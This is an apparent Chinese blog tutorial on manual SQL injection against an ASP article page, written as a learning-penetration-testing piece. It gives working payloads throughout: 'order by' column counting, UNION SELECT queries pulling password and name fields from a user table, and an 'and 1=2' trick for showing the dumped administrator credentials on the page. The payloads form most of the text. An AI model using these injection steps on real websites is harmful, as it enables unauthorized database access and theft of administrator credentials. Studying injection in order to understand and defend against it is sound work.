我的文章都是深入分析的,把原理都写出来。不像那些教程只告诉你用什么语句,什么原理都不懂。

?articleid=1 order by 5 可查询表内有多少字段, 此种方法以数字作为字段名,代表第几个字段

实际带入数据库中的查询语句则为:select * from article where articleid=1 order by 5

在数据库中执行结果:

? articleid = 1 union select 1,2,3,4 from user

同理数据库中查询语句是:

select * from article where articleid = 1 union select 1,2,3,4 from user

已知 article表中字段数量,union查询user表中前4个字段的值。为什么不查询user表中所有字段的值,这里是因为第一,没办法知道user表中有多少字段,第二, UNION 内部的 SELECT 语句必须拥有相同数量的列。

数据库中查询结果:

查询结果是这样的,如果页面某些位置1,2,3,4这些数字,说明user表中的内容可以暴出来的。

猜一下字段:

select * from article where articleid = 1 union select 1,pwds,names,4 from user

菜鸟也来学渗透——asp手工注入联合查询

这时候,管理员的用户名密码已经显示在页面上了。当然实际操作时候一定要让数据库报错。?articleid=1 后面加个 and 1=2即可。

如果页面只显示第一条内容,不显示第二条。那就把这两句顺序换一下。

select * from article where articleid = 1 union select 1,names,pwds,4 from user order by 3 加了 order by

clip_image004

这样用似乎不让数据库不报错都能用了